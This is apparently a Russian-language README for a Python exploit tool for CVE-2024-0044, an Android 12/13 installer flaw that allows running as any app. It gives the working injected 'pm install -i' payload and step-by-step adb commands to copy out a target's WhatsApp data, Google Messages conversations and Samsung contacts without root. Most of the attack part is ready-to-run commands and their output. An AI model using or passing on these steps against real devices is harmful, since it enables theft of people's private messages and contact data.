CVE 2024 0044

CVE-2024-0044, обнаруженная в функции createSessionInternal файла PackageInstallerService.java, представляет собой уязвимость высокой степени серьёзности, затрагивающую Android версий 12 и 13. Эта уязвимость позволяет злоумышленнику выполнить атаку «run-as any app», что приводит к локальному повышению привилегий без необходимости взаимодействия с пользователем. Проблема возникает из-за неправильной проверки входных данных в функции createSessionInternal. Злоумышленник может использовать это, манипулируя процессом создания сеанса, потенциально получая несанкционированный доступ к конфиденциальным данным и выполняя несанкционированные действия на затронутом устройстве.

Эксплойт был обнаружен Meta security

Доказательство концепции было обобщено и опубликовано Tiny hack

Подробности о патче безопасности можно найти в Бюллетене по безопасности Android

Предварительные условия

1. Включите отладку по USB на вашем мобильном телефоне и подключите его к компьютеру с помощью USB-кабеля или беспроводной отладки.
2. Загрузите любой APK-файл на ваш компьютер; можно использовать F-DROID

Как использовать инструмент

python3 cve_2024_0044.py -h
                                                                               
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#      
        
usage: cve_2024_0044.py [-h] -P P -A A

CVE-2024-0044: run-as any app @Pl4int3xt

options:
  -h, --help  show this help message and exit
  -P P        package name (default: None)
  -A A        apk file path (default: None)

-P используется для указания имени целевого пакета, от имени которого вы хотите выполнять команды.

-A для указания пути к APK-файлу для отправки на устройство.

Эксплуатация

Запустите инструмент: python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk

Будет сгенерирован файл payload.txt примерно такого содержания:

PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk

Инструмент автоматизирует некоторые части, а другие остаются ручными. Вы можете выйти после генерации полезной нагрузки и выполнить все команды вручную, либо продолжить следовать инструкциям.

Затем вам нужно будет подключиться к устройству через adb shell, вставить полезную нагрузку и убедиться, что после последней команды вы получили сообщение Success.

pl4int3xt ~>  adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success

Затем мы получаем данные WhatsApp с помощью следующих команд:

pixel:/ $ mkdir /data/local/tmp/wa/                                                                            
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp

Создайте временный каталог: mkdir /data/local/tmp/wa/

Создайте заполнитель для tar-файла: touch /data/local/tmp/wa/wa.tar

Установите открытые разрешения: chmod -R 0777 /data/local/tmp/wa/, чтобы любой пользователь мог читать, записывать и выполнять действия в этом каталоге.

Переключите контекст пользователя: run-as victim, чтобы получить те же разрешения, что и пользователь «victim».

Заархивируйте данные целевого приложения: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, создав архив tar из каталога данных WhatsApp.

Наконец, извлеките данные:

adb pull /data/local/tmp/wa/wa.tar

Вы можете распаковать данные с помощью 7z или любого другого инструмента.

Вы можете использовать Whatsapp chat exporter, чтобы преобразовать их в HTML.

Это позволяет получить данные WhatsApp без root-доступа на устройстве.

Извлечение Google Messages

Просто измените имя пакета следующим образом:

plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk

Следуйте приведённым выше инструкциям, и после извлечения файла wa.tar распакуйте его и откройте переписки в com.google.android.apps.messaging/databases/bugle_db с помощью sqlitebrowser или любого другого инструмента.

Извлечение контактов

Проверено на устройстве Samsung. Для других устройств проверьте имя пакета поставщика контактов.

plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk

Следуйте приведённым выше инструкциям, и после извлечения файла wa.tar распакуйте его и откройте контакты в com.samsung.android.providers.contacts/databases/contacts2.db с помощью sqlitebrowser или любого другого инструмента. Файл базы данных содержит всю информацию об учётных записях электронной почты пользователя вместе со списком контактов.